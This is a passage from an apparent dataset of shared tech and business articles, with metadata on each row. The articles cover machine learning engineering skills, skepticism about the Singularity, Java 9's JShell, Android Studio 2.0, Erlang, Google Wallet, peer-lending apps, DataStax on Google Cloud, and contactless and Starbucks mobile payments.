human supervision. The intelligence is still meant to be actionable, but in the Machine Learning model, the decisions are being made by machines and they affect how a product or service behaves. This is why the software engineering skill set is so important to a career in Machine Learning. Understanding The Ecosystem Before getting into specific skills, there is one more concept to address. Being a Machine Learning engineer necessitates understanding the entire ecosystem that you're designing for. Let's say you're working for a grocery chain, and the company wants to start issuing targeted coupons based on things like the past purchase history of customers, with a goal of generating coupons that shoppers will actually use. In a Data Analysis model, you could collect the purchase data, do the analysis to figure out trends, and then propose strategies. The Machine Learning approach would be to write an automated coupon generation system. But what does it take to write that system, and have it work? You have to understand the whole ecosystem-inventory, catalog, pricing, purchase orders, bill generation, Point of Sale software, CRM software, etc. Ultimately, the process is less about understanding Machine Learning algorithms-or when and how to apply them-and more about understanding the systemic interrelationships, and writing working software that will successfully integrate and interface. Remember, Machine Learning output is actually working software! Now, let's get into the real details of what it takes to be a Machine Learning engineer. We're going to break this into two primary sections: Summary of Skills, and Languages and Libraries. We'll begin with the Summary of Skills here, then in a follow up post we'll address Languages and Libraries for Machine Learning . Please subscribe to our blog to receive our follow up post on Languages and Libraries for Machine Learning in your inbox! Summary of Skills 1. Computer Science Fundamentals and Programming Computer science fundamentals important for Machine Learning engineers include data structures (stacks, queues, multi-dimensional arrays, trees, graphs, etc.), algorithms (searching, sorting, optimization, dynamic programming, etc.), computability and complexity (P vs. NP, NP-complete problems, big-O notation, approximate algorithms, etc.), and computer architecture (memory, cache, bandwidth, deadlocks, distributed processing, etc.). You must be able to apply, implement, adapt or address them (as appropriate) when programming. Practice problems, coding competitions and hackathons are a great way to hone your skills. 2. Probability and Statistics A formal characterization of probability (conditional probability, Bayes rule, likelihood, independence, etc.) and techniques derived from it (Bayes Nets, Markov Decision Processes, Hidden Markov Models, etc.) are at the heart of many Machine Learning algorithms; these are a means to deal with uncertainty in the real world. Closely related to this is the field of statistics, which provides various measures (mean, median, variance, etc.), distributions (uniform, normal, binomial, Poisson, etc.) and analysis methods (ANOVA, hypothesis testing, etc.) that are necessary for building and validating models from observed data. Many Machine Learning algorithms are essentially extensions of statistical modeling procedures. 3. Data Modeling and Evaluation Data modeling is the process of estimating the underlying structure of a given dataset, with the goal of finding useful patterns (correlations, clusters, eigenvectors, etc.) and/or predicting properties of previously unseen instances (classification, regression, anomaly detection, etc.). A key part of this estimation process is continually evaluating how good a given model is. Depending on the task at hand, you will need to choose an appropriate accuracy/error measure (e.g. log-loss for classification, sum-of-squared-errors for regression, etc.) and an evaluation strategy (training-testing split, sequential vs. randomized cross-validation, etc.). Iterative learning algorithms often directly utilize resulting errors to tweak the model (e.g. backpropagation for neural networks), so understanding these measures is very important even for just applying standard algorithms. 4. Applying Machine Learning Algorithms and Libraries Standard implementations of Machine Learning algorithms are widely available through libraries/packages/APIs (e.g. scikit-learn, Theano, Spark MLlib, H2O, TensorFlow etc.), but applying them effectively involves choosing a suitable model (decision tree, nearest neighbor, neural net, support vector machine, ensemble of multiple models, etc.), a learning procedure to fit the data (linear regression, gradient descent, genetic algorithms, bagging, boosting, and other model-specific methods), as well as understanding how hyperparameters affect learning. You also need to be aware of the relative advantages and disadvantages of different approaches, and the numerous gotchas that can trip you (bias and variance, overfitting and underfitting, missing data, data leakage, etc.). Data science and Machine Learning challenges such as those on are a great way to get exposed to different kinds of problems and their nuances. 5. Software Engineering and System Design At the end of the day, a Machine Learning engineer's typical output or deliverable is software. And often it is a small component that fits into a larger ecosystem of products and services. You need to understand how these different pieces work together, communicate with them (using library calls, REST APIs, database queries, etc.) and build appropriate interfaces for your component that others will depend on. Careful system design may be necessary to avoid bottlenecks and let your algorithms scale well with increasing volumes of data. Software engineering best practices (including requirements analysis, system design, modularity, version control, testing, documentation, etc.) are invaluable for productivity, collaboration, quality and maintainability. Relative importance of core skills for different Machine Learning job roles (click to enlarge) Machine Learning Job Roles Jobs related to Machine Learning are growing rapidly as companies try to get the most out of emerging technologies. The chart below depicts the relative importance of core skills for these general types of roles, with a typical Data Analyst role for comparison. The Future of Machine Learning What is perhaps most compelling about Machine Learning is its seemingly limitless applicability. There are already so many fields being impacted by Machine Learning, including education, finance, computer science, and more. There are also virtually NO fields to which Machine Learning doesn't apply. In some cases, Machine Learning techniques are in fact desperately needed. Healthcare is an obvious example. Machine Learning techniques are already being applied to critical arenas within the Healthcare sphere, impacting everything from care variation reduction efforts to medical scan analysis . David Sontag, an assistant professor at New York University's Courant Institute of Mathematical Sciences and NYU's Center for Data Science, recently gave a talk on Machine Learning and the Healthcare system, in which he discussed ""how machine learning has the potential to change health care across the industry, from enabling the next-generation electronic health record to population-level risk stratification from health insurance claims."" The world is unquestionably changing in rapid and dramatic ways, and the demand for Machine Learning engineers is going to keep increasing exponentially. The world's challenges are complex, and they will require complex systems to solve them. Machine Learning engineers are building these systems. If this is YOUR future, then there's no time like the present to start mastering the skills and developing the mindset you're going to need to succeed.",en
1460110100,CONTENT SHARED,5619269934194012474,-1443636648652872475,4282110156146973393,,,,HTML,http://mobile.nytimes.com/2016/04/07/science/artificial-intelligence-when-is-the-singularity.html?_r=0&referer=,When Is the Singularity? Probably Not in Your Lifetime,"Misconception : Computers will outstrip human capabilities within many of our lifetimes. Actually : You won't be obsolete for a long time, if ever, most researchers say. In March when Alphago, the Go-playing software program designed by Google's DeepMind subsidiary defeated Lee Se-dol, the human Go champion, some in Silicon Valley proclaimed the event as a precursor of the imminent arrival of genuine thinking machines. The achievement was rooted in recent advances in pattern recognition technologies that have also yielded impressive results in speech recognition, computer vision and machine learning. The progress in artificial intelligence has become a flash point for converging fears that we feel about the smart machines that are increasingly surrounding us. However, most artificial intelligence researchers still discount the idea of an ""intelligence explosion."" The idea was formally described as the ""Singularity"" in 1993 by Vernor Vinge, a computer scientist and science fiction writer, who posited that accelerating technological change would inevitably lead to machine intelligence that would match and then surpass human intelligence. In his original essay, Dr. Vinge suggested that the point in time at which machines attained superhuman intelligence would happen sometime between 2005 and 2030. Ray Kurzweil, an artificial intelligence researcher, extended the idea in his 2006 book ""The Singularity Is Near: When Humans Transcend Biology,"" where he argues that machines will outstrip human capabilities in 2045. The idea was popularized in movies such as ""Transcendence"" and ""Her."" Recently several well-known technologists and scientists, including Stephen Hawking, Elon Musk and Bill Gates, have issued warnings about runaway technological progress leading to superintelligent machines that might not be favorably disposed to humanity . What has not been shown, however, is scientific evidence for such an event. Indeed, the idea has been treated more skeptically by neuroscientists and a vast majority of artificial intelligence researchers. For starters, biologists acknowledge that the basic mechanisms for biological intelligence are still not completely understood, and as a result there is not a good model of human intelligence for computers to simulate. Indeed, the field of artificial intelligence has a long history of over-promising and under-delivering. John McCarthy, the mathematician and computer scientist who coined the term artificial intelligence, told his Pentagon funders in the early 1960s that building a machine with human levels of intelligence would take just a decade. Even earlier, in 1958 T he New York Times reported that the Navy was planning to build a ""thinking machine"" based on the neural network research of the psychologist Frank Rosenblatt. The article forecast that it would take about a year to build the machine and cost about $100,000. The notion of the Singularity is predicated on Moore's Law, the 1965 observation by the Intel co-founder Gordon Moore, that the number of transistors that can be etched onto a sliver of silicon doubles at roughly two year intervals. This has fostered the notion of exponential change, in which technology advances slowly at first and then with increasing rapidity with each succeeding technological generation. At this stage Moore's Law seems to be on the verge of stalling. Transistors will soon reach fundamental physical limits when they are made from just handfuls of atoms. It's further evidence that there will be no quick path to thinking machines.",en
1460112545,CONTENT SHARED,-6661204361884000663,-2979881261169775358,-4604533051470409227,,,,HTML,http://blog.takipi.com/java-9-early-access-a-hands-on-session-with-jshell-the-java-repl/,Java 9 Early Access: A Hands-on Session with JShell - The Java REPL | Takipi Blog,"How can you start using one of the coolest features of Java 9 starting today? Last weekend I finally got around to getting my hands dirty with an early access version of Java 9. The first stop was JShell, which also goes by the name of Project Kulla; the reason that got me to gather up the courage to try the early access Java version in the first place. That's right. The official Java 9 release date is currently set to September 2016, but the early access version already has a fully functional version of JShell. It's still under development and has a few quirks in it, but that never stopped us before. New Post: Java 9 Early Access: A Hands-on Session with JShell - The #Java REPL pic.twitter.com/JoWR6i8PSz - Takipi (@takipid) July 7, 2015 Fun fact #1: Project Kulla is the internal name for the team developing JShell. Kulla is the name of a builder god from the Mesopotamian mythology, who was banished after the construction work was completed. Hinting at Kulla's use case as a learning tool? So what is this JShell thing? JShell / Project Kulla is the first official Java REPL (Read-Eval-Print-Loop), a command line tool that lets you run Java statements on their own without having to wrap them in classes or methods. Similar in a way to Python's interpreter, or to other JVM languages that natively support REPL like Scala and Groovy. Among the upcoming features of Java 9, it's definitely one of the more interesting ones. To check out more exciting features (apart from Project Jigsaw!) that are coming to the JDK near you, you can read a previous post of ours around the top 5 features in Java 9 that will change how you code . Up until now, if you wanted to REPL in Java you could have used alternatives like repl.it which has multi langauge support or the unofficial Java REPL project. With Java 9 though, REPL is bundled right into the JDK together with the langtools package. Fun fact #2: Another OpenJDK project with a mythological name is project Valhalla; aiming beyond Java 9, and working on features like value types and reified generics. Definitely badass. But enough with that, let's fire it up and see what it can do. In the following short terminal recoding we're going through a quick test run with JShell v0.61 (There's a known issue with OSX 10.10.3 where the prompt mixes with some of the output so please don't mind that, it'll probably be fixed soon): Firing up and playing around with JShell Reviewing what we just saw: Some of the most interesting features of JShell ** [8/7/2015] Update: Edited with notes from Brian Goetz , Java language architect at Oracle 1. Semicolon is optional on bare statements Hello JShell! With the quick and flexible nature of the REPL, we can relax a bit and forget about adding semicolons at the end of our statements: Nope, no semicolon here This was actually a popular response on a survey we ran around future Java features. Of course semicolons are here to stay, either as terminators or separators. The REPL allows entering bare expressions and statements one at a time so semicolons become optional for the terminator use case on Jshell. Simple example showing getting an HTTP header with JShell 2. REPL networking With JShell we're not confined to our machine and have networking access, this opens up some interesting opportunities. For instance, think about using it as a terminal to communicate with your server, connecting to it remotely and controlling some parameters from the outside. Another option would be querying your database, and the possibilities here are really endless. 3. Help! Saving and loading workspaces Apart from running and evaluating Java statements, JShell supports a range of commands to help get you around and navigate through the REPL environment. You can save and load workspaces (which kind of makes Java resemble a scripting language) and then get back on the command prompt after all the code was executed (this is actually where you can see the OS X bug I mentioned in the terminal recording). JShell /help Other useful commands are listing all the current available variables and methods, viewing all your command history, and listing the all the code you wrote so far (which sometimes still behaves a bit weird). Here's the full list of the currently available commands: 4. No checked exceptions If you've been worried about checked exceptions ruining your REPL experience - Fear no more, JShell wraps those for you in the background. In the following example, what would have forced us to catch an IOException, goes away unnoticed. Here we're reading and printing out a file without handling IOExceptions: One case we did see a checked exception pop-up is when we tried to run a thread and used Thread.sleep() in it. Since it's a whole method and not a single bare statement, it has to be fully valid Java: Moving on to a few more features that didn't make it to the terminal recording: 5. Java expressions Another thing about the JShell terminal is that it can also evaluate Java expressions on their on. String concatenation, method calls, arithmetic, whatever. Basically anything that you could have wrapped inside a System.out.println(/* expression here */). As you may have already noticed with other evaluations, it immediately places the result in a variable of its own and prints it out: 6. Forward reference JShell has pretty nifty support for forward references, so you can define functions that reference other methods or variables that will only be defined later down the road. Here's an example from the REPL tutorial by AdoptOpenJDK: 7. JShell API Apart from its use as a standalone JDK tool, JShell will also provide an API which opens up all its functionality to external use. This means external tools could hook up and use JShell's capabilities, and suddenly some interesting possibilities open up like including it as part of IDEs like Eclipse, IntelliJ or Netbeans. More creative use cases for the API could include tools using it to extend static analysis capabilities, automated testing or maybe even hooking up to live JVMs. 8. Changing definitions on the go You can re-declare variables, methods and classes without worrying about the original declarations. Once you do so, you'll be prompted with a message letting you know what happened, but other than that - it's business as usual. Bonus: All you need is love If you dig up your way into the /repl/samples folder, you'll find this cute sample that will draw you 3 little hearts using Swing: How to get started on your own? To get started, check out the instructions on the Adopt OpenJDK: Getting Started Kit from the London Java Community (LJC). Here's a quick summary of the steps to help get you off the ground, especially if you've never played around with early access JDK versions before: 1. Install the Java 9 early access JDK 2. Build the kulla-dev branch: cd langtools/repl bash ./scripts/run.sh bash ./scripts/compile.sh hg clone kulla-dev cd kulla-dev bash configure -with-boot-jdk=/path/to/jdk1.8.0 make clean images make install <=== optional 3. Build the REPL: 4. And... now you're ready to run.: 15 tools to use when deploying new code to production - View tool list Java 8 exceptions have never been so beautiful - Try Takipi for Java 8 Important note for OS X users: Before running compile.sh & run.sh edit the scripts and change #!/usr/bin/sh to #!/bin/sh . If you have any questions about the process, please post them in the comments section below and we'll do our best to help. Conclusion It's exciting to see how Project Kulla is getting closer to maturity where it will have a feature-complete status. JShell has a wide range of use cases but first and foremost, it will help new and existing developers quickly test their newly learned skills. Be it basic Java or some new library you're just starting to wrap your head around. Moreover, JShell brings Java on par with languages that have these capabilities for a while now, and perhaps even pushes the envelope further, with an official API and a smooth command line experience.",en
1460113615,CONTENT SHARED,5714874452041944640,-2979881261169775358,-4604533051470409227,,,,HTML,http://android-developers.blogspot.com.br/2016/04/android-studio-2-0.html,Android Studio 2.0 | Android Developers Blog,"Posted by Jamal Eason , Product Manager, Android Android Studio 2.0 is the fastest way to build high quality, performant apps for the Android platform, including phones and tablets, Android Auto, Android Wear, and Android TV. As the official IDE from Google, Android Studio includes everything you need to build an app, including a code editor, code analysis tools, emulators and more. This new and stable version of Android Studio has fast build speeds and a fast emulator with support for the latest Android version and Google Play Services. Android Studio is built in coordination with the Android platform and supports all of the latest and greatest APIs. If you are developing for Android, you should be using Android Studio 2.0. It is available today as a easy download or update on the stable release channel. Android Studio 2.0 includes the following new features that Android developer can use in their workflow : Instant Run - For every developer who loves faster build speeds. Make changes and see them appear live in your running app. With many build/run accelerations ranging from VM hot swapping to warm swapping app resources , Instant Run will save you time every day. Android Emulator - The new emulator runs ~3x faster than Android's previous emulator, and with ADB enhancements you can now push apps and data 10x faster to the emulator than to a physical device. Like a physical device, the official Android emulator also includes Google Play Services built-in, so you can test out more API functionality. Finally, the new emulator has rich new features to manage calls, battery, network, GPS, and more. Cloud Test Lab Integration - Write once, run anywhere. Improve the quality of your apps by quickly and easily testing on a wide range of physical Android devices in the Cloud Test Lab right from within Android Studio. App Indexing Code Generation & Test - Help promote the visibility your app in Google Search for your users by adding auto-generated URLS with the App Indexing feature in Android Studio. With a few click you can add indexable URL links that you can test all within the IDE. GPU Debugger Preview - For those of you developing OpenGL ES based games or apps, you can now see each frame and the GL state with the new GPU debugger. Uncover and diagnosis GL rendering issues by capturing and analyzing the GPU stream from your Android device. IntelliJ 15 Update - Android Studio is built on the world class Intellij coding platform. Check out the latest Intellij features here . Deeper Dive into the New Features Instant Run Today, mobile platforms are centered around speed and agility. And yet, building for mobile can sometimes feel clunky and slow. Instant Run in Android Studio is our solution to keep you in a fast and fluid development flow. The feature increases your developer productivity by accelerating your edit, build, run cycles. When you click on the Instant Run button ( ), Instant Run will analyze the changes you have made and determine how it can deploy your new code in the fastest way. New Instant Run Buttons Whenever possible, it will inject your code changes into your running app process, avoiding re-deployment and re-installation your APK. For some types of changes, an activity or app restart is required, but your edit, build and run cycles should still be generally much faster than before. Instant Run works with any Android Device or emulator running API 14 (Ice Cream Sandwich) or higher. Since previewing Instant Run at the end of last year, we've spent countless hours incorporating your feedback and refining for the stable release. Look for even more acceleration in future releases because build speeds can never be too fast. To learn how you can make the most out of Instant Run in your app development today, please check out our Instant Run documentation . Android Emulator The new Android Emulator is up to 3x faster in CPU, RAM, & I/O in comparison to the previous Android emulator. And when you're ready to build, ADB push speeds are a whopping 10x faster ! In most situations, developing on the official Android Emulator is faster than a real device, and new features like Instant Run will work best with the new Android emulator. In addition to speed and performance, the Android Emulator has a brand user interface and sensor controls. Enhanced since the initial release , with the emulator you can drag and drop APKs for quick installation, resize and rescale the window, use multi-touch actions (pinch & zoom, pan, rotate, tilt) and much more. Android Emulator User Interface: Toolbar & Extend Controls Panel Trying out the new emulator is as easy as updating your SDK Tools to 25.1.1 or higher, create a fresh Android Virtual Device using one of the recommended x86 system images and you are ready to go. Learn more about the Android Emulator by checking out the documentation . Cloud Test Lab Cloud Test Lab is a new service that allows you to test your app across a wide range of devices and device configurations at scale in the cloud. Once you complete your initial testing with your Android Emulator or Android device, Cloud Test Lab is a great extension to your testing process that provides you to run through a collection of tests against a portfolio of physical devices hosted in Google's data centers. Even if you do not have tests explicitly written, Cloud Test Lab can perform a basic set of tests to ensure that your app does not crash. The new interface in Android Studio allows you to configure the portfolio of tests you want to run on Cloud Test Lab, and allows you to also see the results of your tests. To learn more about the service go here . Setup for Cloud Test Lab App Indexing It is now easier for your users to find your app in Google Search with the App Indexing API. Android Studio 2.0 helps you to create the correct URL structure in your app code and add attributes in your AndroidManifest.xml file that will work the Google App Indexing service. After you add the URLs to your app, can you test and validate your app indexing code as shown here: Google App Indexing Testing Check out this link for more details about app indexing support in Android Studio. GPU Debugger Preview If you are developing OpenGL ES games or graphics-intensive apps, you have a new GPU debugger with Android Studio 2.0. Although the GPU debugger is a preview, you can step through your app frame by frame to identify and debug graphics rendering issues with rich information about the GL state. For more details on how to setup your Android device and app to work with the tool, check out the tech documentations here . Update If you are using a previous version of Android Studio, you can check for updates on the Beta channel from the navigation menu (Help → Check for Update [Windows/Linux] , Android Studio → Check for Updates [OS X]). If you need a new copy of Android Studio, you can download it here . If you developing for the N Developer Preview, check out this additional setup instructions . Set Up Instant Run & Android Emulator After you update to or download Android Studio 2.0, you should upgrade your projects to use Instant Run, and create a fresh Android Virtual Device (AVD) for the new Android emulator and you are on your way to a fast Android development experience. Using Instant Run is easy. For each of your existing projects you will see a quick prompt to update your project to the new gradle plugin version (com.android.tools.build:gradle:2.0.0). Prompt to update your gradle version in your project For all new app projects in Android Studio 2.0, Instant Run is on by default. Check out the documentation for more details. We are already hard at work developing the next release of Android Studio. We appreciate any feedback on things you like, issues or features you would like to see. Connect with us -- the Android Studio development team -- on our new Google+ page or on Twitter .",en
1460113724,CONTENT SHARED,286115624311598644,-2979881261169775358,-4604533051470409227,,,,HTML,https://sameroom.io/blog/why-erlang-matters/,Why Erlang Matters,"I still remember vividly my first encounter with a SMP computer . This was around 1996 and it was a dual-socket Pentium Pro monster. It blew my mind. Growing up with the x86 [r]evolution, I was always curious about the innerworkings of computer hardware. My first 8088 board was simple enough that I could understand every signal line in it. Now, this Pentium Pro machine before me had two processors and two sets of L1 and L2 caches, with RAM shared between them. And I was wondering-how was it possible to keep caches and RAM in sync? How would someone actually write software for this incredible beast? Fast-forward to 2012. Two things happened: the internet and the power wall . The internet ignited the renaissance of distributed computing. We often cite operations of a scale unprecedented in pre-internet information systems. But this is actually true for just a handful of companies. What really undid traditional information systems is how quickly the capacity requirements grow once а product hits the hockey stick. This made old systems terribly uneconomical. Seemingly overnight, the scale-up approach of expensive, proprietary systems was replaced by scaling-out generic, consumer-level kits. The power wall killed the great hope that we can keep scaling single-threaded performance forever. While superscalar improvements were still there, CPU designers finally took the SMP revolution to the streets in the mid 1990s, when we witnessed the emergence of multi-socket PC servers. By the 2010s, multiple core CPUs became commonplace, all the way from laptops to smartphones. A seemingly independent development was the idea of connecting multiple computers with a network and no shared memory. It was years in the making: core theoretical concepts behind distributed computing were developed in the 1970s, with continued research and some commercial applications emerging in the 1980s. In the 1990s, the quickly-evolving Ethernet made local computer networks ubiquitous and ""client-server architecture"" became the buzzword of the day. In a distributed system, we have two or more processes talking to each other over a network. They do this by sending each other messages. A message from process A to process B is copied from the memory of process A, travels over the network wire, and into to the memory of process B. Now, it seems that in a SMP computer we don't have the problem with copying data between memories of processes running on different CPUs, since we can share a memory block between threads. Wrong! In a SMP system, when process B reads a memory block written by process A, there is still actual copying going on: from process A's CPU cache over the interconnect , to process B's CPU cache. Cache coherence is the under-the-hood copying mechanism that tries to pretend the copying is not happening, and that memory is really shared. This copying can get pretty involved if you're running a NUMA system , where a message from process A to B travels over multiple hops in the interconnect-much like a network packet would in a switched data center. The more CPU cores we place on the interconnect, the less it looks like shared memory and more like separate networked computers-cache coherence does not scale. So here we are, with these awesome systems built out of different flavors of processes talking over the network and pretending to share memory. Hardware threads are used when communication is more frequent or the amount of shared data is substantial. Networked processes are used when scaling requirements are less predictable, or fault tolerance is required. Some applications exhibit embarrassing parallelism , where we can nicely package computation to saturate a given SMP computer and scale out-and speed up-by adding more computers. Unfortunately, such applications are rare. Most interactive applications can be represented as graphs of interdependent processes waiting for I/O to complete. This makes it really hard to nicely saturate today's entry-level SMP computer. Enter another renaissance: virtualization. Economical efficiency in mind, we would love to co-locate multiple parts of an application on the same physical computer. The caveat is that these applications may have different, or even conflicting dependencies within an operating system. Virtualization offers full isolation by running many instances of an operating system on a single physical computer. I mention renaissance, because the utility of virtualization was well known before today. Mainframes used virtualization extensively for decades. They simply became way too powerful to run anyone's single application and it made sense economically to start virtualizing. Mainframes still exist, but they were largely disrupted by minicomputers in the 1970s and then minicomputers were further disrupted by PC servers in the 1990s. We can argue that PC servers are becoming too powerful to run distributed systems economically. Much like in the advent of the PC server era, when the economy of scale in personal computers made them superior to the previous generation of computers, today's smartphones will do the same to the ARM-based servers of tomorrow. At the same time, the speed of local networking will be approaching the speed of CPU interconnect, while the complexity of CPU interconnect will be approaching that of a switched packet network. In the end, this new type of computer will bring about data-centers-on-a-chip or high-density computing, whichever way we look. What abstractions do we have today to deal with these type of a computer? Processes over a TCP/IP network and threads over shared memory seem like two very different ways of dealing with one problem-communication between concurrent workflows. Both are arguably antiquated for this new computer. TCP/IP was designed for unreliable global networks and carries significant overhead for fast local interconnects. Shared memory does not scale to a large number of CPU cores. But all we really want is to send a message from workflow A to workflow B. Enter Erlang . Erlang was designed in the 1980s by group of engineers at Ericsson. They specifically were trying to address the shortcomings of existing languages with respect to handling highly-concurrent telephony applications with extreme reliability requirements. Concurrency meant handling millions of small processes that would occasionally communicate with each other. Reliability meant guarding against hardware failure and, more importantly, against bugs in the program. Erlang designers made a great tradeoff from the outset: immutability and single assignment (very uncommon in conventional programming languages), enforced by the VM. On top of immutability, the Erlang VM defines lightweight processes that can send and receive messages. This enables the level of isolation for much nicer garbage collection-processes can be garbage collected independently, eliminating the need for a stop-the-world model. Further, Erlang promotes the least amount of error handling in favor of quickly crashing processes. To address error recovery, Erlang defines the concept a supervision tree-a hierarchy of watchdog processes whose only responsibility is to restart failed worker processes. Another key built-in construct is the ability to send and receive messages between processes on VMs running on connected computers , and yet another is the ability to hot-load code without stopping the VM, or any running process. I would argue that the Erlang execution model is very well suited to run directly on a future data-center-on-a-chip computer without an operating system and virtualization. Immutability removes the need for cache coherence (although signaling inside the VM may need one, or some sort of specialized hardware). The Erlang VM already maps one process scheduler to one hardware thread. Processes are load-balanced to evenly saturate the available CPU cores and maintain cache locality. Messages are precisely what they are-immutable memory blocks shuttled between caches over a switched interconnect. Supervision trees can span a hardware topology and handle both hardware failures and software bugs for great fault tolerance. It would likely take a very evolved Erlang to run on this computer of the future. It may well be the Erlang VM that hosts other-non Prolog-based-languages on top of it, while enforcing all the important semantics ( Elixir is a good candidate). Or, it may be some new software altogether. Erlang matters today because it demonstrates how these semantics can be elegantly packaged in one language, execution model, and virtual machine.",en
1460117995,CONTENT SHARED,2947843229055216994,-6316613156648676087,5673696108944885080,,,,HTML,http://www.androidauthority.com/google-wallet-cards-stop-working-june-30-683270/,Google will stop supporting physical Google Wallet cards on June 30,"If you're still using a physical Google Wallet card to make transactions when you're out and about, you should probably start looking for a new way to pay. Google has just announced that it will stop supporting physical Google Wallet cards on Thursday, June 30th. The company will stop supporting the cards so they can more easily focus on the new Google Wallet app, which launched last fall . You'll be able to make purchases with your Wallet card until June 30th. Once May 1st rolls around, you won't be able to add any money to your Wallet balance from a debit card or bank account. You can still receive money from others after that point. And if you happen to have money in your Wallet balance after May 1st, you can keep it there, send it to others, or cash it out anytime for free. Google also mentions that both American Express and Simple offer debit accounts with similar features. Plus, if you switch to one of these new accounts, you'll be able to score some extra bonuses. For details on the bonuses, head to this link . Do you still use a physical Google Wallet card? Be sure to let us know your thoughts in the comments.",en
1460119166,CONTENT SHARED,-6752460077509522132,-6316613156648676087,5673696108944885080,,,,HTML,http://www.androidpolice.com/2016/04/08/lendingrobot-lets-you-monitor-your-portfolio-performance-on-prosper-lending-club-and-funding-circle/,"LendingRobot Lets You Monitor Your Portfolio Performance On Prosper, Lending Club, And Funding Circle","If you listen to as many podcasts as I do, you must be familiar with Prosper thanks to its many ads across different podcast networks. The company's business model is to let peers lend money to each other, without any banks or institutions standing in the middle, or so I understand. But Prosper isn't alone in this domain, there's Lending Club and Funding Circle as well. The problem with all of these sites is that they don't offer a mobile application, which is a big miss in our modern day. What good is an awesome portfolio if you can't see its performance from your phone while walking your dog in your suburban neighborhood? Well, LendingRobot is here to solve that problem. The company can monitor portfolios across the three aforementioned peer-to-peer lending marketplaces or also act as a robo-advisor and automate your investments. The biggest benefit of its Android app though is that it works whether you have a LendingRobot account or not and you just want to log in to your Prosper, Lending Club, or Funding Circle accounts. It has a unified view to see your overall portfolio performance, support for multiple accounts across each marketplace, a health graph with current and projected returns, average interest rates, and more financial data that any lender will surely appreciate. LendingRobot is free to download in the Play Store, but obviously it won't be of much use to you if you don't have enough money to lend.",en
1460119270,CONTENT SHARED,-3920124114454832425,2062670502532932588,-1136675388582038380,,,,HTML,http://www.datastax.com/2016/01/datastax-enterprise-cloud-worldwide-operations-in-minutes,Worldwide Ops in Minutes with DataStax & Cloud,"DataStax Enterprise is the database for cloud applications. Running DataStax Enterprise (DSE) in the cloud allows IT leaders to proactively meet business demands more quickly and effectively than with other technologies. Traditionally, if a US based firm were to open a new office in Asia or Europe, the company would need to acquire data center space, procure hardware, rack that hardware, procure software, install the software, and finally configure the software. Optimistically, this process takes 6 months. In many cases, it takes much longer depending on what other challenges present themselves along the way. With DSE in the cloud, it's simple to add a new data center. Doing so provides better SLAs for customers and employees as well as geographical redundancy that ensures continuity of business in the event of a data center failure. All this is possible natively in DSE without complex dedicated software for replication. By deploying in cloud environments, new data centers can be quickly onboarded or decommissioned as business demands. IT can move from an asset maintenance model to providing a menu of SLAs for the business and letting them select what is appropriate. For example, IT might present a business with units in the Americas, Europe and Asia three options: Based on the value of the application (e.g. back office reporting app, customer facing mission critical a spect of business) the business and IT organizations can work together to choose the appropriate SLA and adjust infrastructure to suit that SLA in days rather than months or years. - the company that delivers Apache Cassandra ™ to the enterprise has been working closely with leading cloud providers, including Google to make this scenario a reality for our customers. We're excited to share with you the latest capability of our Google Deployment Manager templates for Google Compute Engine on the Google Cloud Platform . The template experience is entirely automated and allows the creation of DSE clusters running on Google Compute Engine in minutes. Deployment times are typically less than 10 minutes, making it easy to try out new cluster configurations with little time spent on installation. DataStax OpsCenter showing a DSE Cluster with 9 nodes - 3 in Asia, 3 in Europe, 3 in US The screenshot above shows a DSE cluster with a total of 9 nodes, three each in Asia, Europe and the US. This is a screenshot from DataStax OpsCenter, a tool for managing and administering DSE clusters that is installed automatically by the Google Deployment Manager. But, we can do better than a 9 node cluster. DataStax OpsCenter showing a DSE Cluster with 91 nodes - 7 nodes each in 13 Google Cloud Platform zones This screenshot above shows a 91-node DSE cluster! There are 7 nodes in each of the 13 current Google Cloud Platform zones. These are groups of DSE nodes distributed all around the world acting as a single cluster and provisioned in minutes. This cluster is highly resilient - it could lose numerous data centers and continue to function. It also provides great SLAs - applications connecting to the database locally will see minimal latency. The only technology capable of doing this is DataStax Enterprise running on a cloud platform. Thinking back to our scenario above, imagine you manage IT for a Global 2000 company with offices in 13 countries. A deployment like this ensures each region is provided a consistent data platform that is highly reliable and performant. There's nothing like it! We encourage you to try this for yourself: We look forward to hearing about your experiences using DSE on the Google Cloud Platform.",en
1460120359,CONTENT SHARED,2022869473280418522,-6316613156648676087,5673696108944885080,,,,HTML,http://www.telegraph.co.uk/news/2016/04/03/contactless-soaring-in-popularity/,Contactless soaring in popularity,"Contactless now makes up one in five of all face to face card payments under £30, figures show after a five fold increase in their use by shoppers. The plastic technology was only used in one in 25 card transactions where customers could ""wave and pay"" last year. The increase is a sign of its growing popularity and more retailers offering the facility, as well as a rise in the limit from £20 to £30 in September. In the six months since then, contactless made up 10 per cent of face to face card payments in the £20 to £30 range - some 36 million transactions. The figures relate to Visa cards, which make up 95 per cent of such purchases. Kevin Jenkins, managing director UK and Ireland for Visa Europe, said: ""The trajectory for contactless payments continues to look very strong. ""Increasing the spending limit to £30 has clearly encouraged consumer adoption and retailer opportunity across Britain; families are now able to do their weekly supermarket shop and pay contactless; the increase has driven a demonstrable shift in consumer behaviour."" Contactless has been most popular in bars and clubs, supermarkets and restaurants. Mr Jenkins added: ""While the number of transactions continues to grow, we are already seeing the next generation payment technology arrive, with mobile and wearable payment services bedding in. ""Where the convenience and safety of making a contactless payment is available, consumers are eager to be cash free and proud.""",en
1460120447,CONTENT SHARED,-3125361793069842594,-6316613156648676087,5673696108944885080,,,,HTML,http://www.seattletimes.com/business/technology/starbucks-secret-on-mobile-payments/,How Starbucks became so successful at coaxing consumers to pay with smartphones,"With about 21 percent of all transactions at its company-owned stores taking place through its mobile app, Starbucks might be able to teach tech giants a thing or two about mobile payments. Share story Apple, Google and Samsung are all-knowing and all-powerful companies. But so far, none of these Great Powers has succeeded in coaxing masses of Americans to use their smartphones to pay for merchandise. Instead, the only U.S. company that has cracked mobile payments is Starbucks, whose best ""innovations"" are made-up names for coffee drinks. Starbucks says about 21 percent of all transactions in its company-owned U.S. retail stores take place through its mobile app, which lets people point their smartphones to a scanner at the cash register rather than pull out cash or a credit card. Customers can also place orders and pay for them ahead of time from their phones and skip the line once they arrive. Getting one out of every five orders through its smartphone app is an impressive feat for Starbucks, considering mobile payments accounted for just 2.1 percent of U.S. retail sales last year, according to estimates from Mercator Advisory Group. Samsung and Google also haven't lured the masses with their digital wallets. And despite the collective struggles of smartphone stand-ins for cash, tech news publication the Information recently unearthed evidence of Facebook preparing to pitch its Messenger app for mobile payments. Tech giants intent on pitching mobile payments could use a rudimentary sociology lesson: Changing habits is hard. It's not enough for Apple CEO Tim Cook to tell people how amazing it is 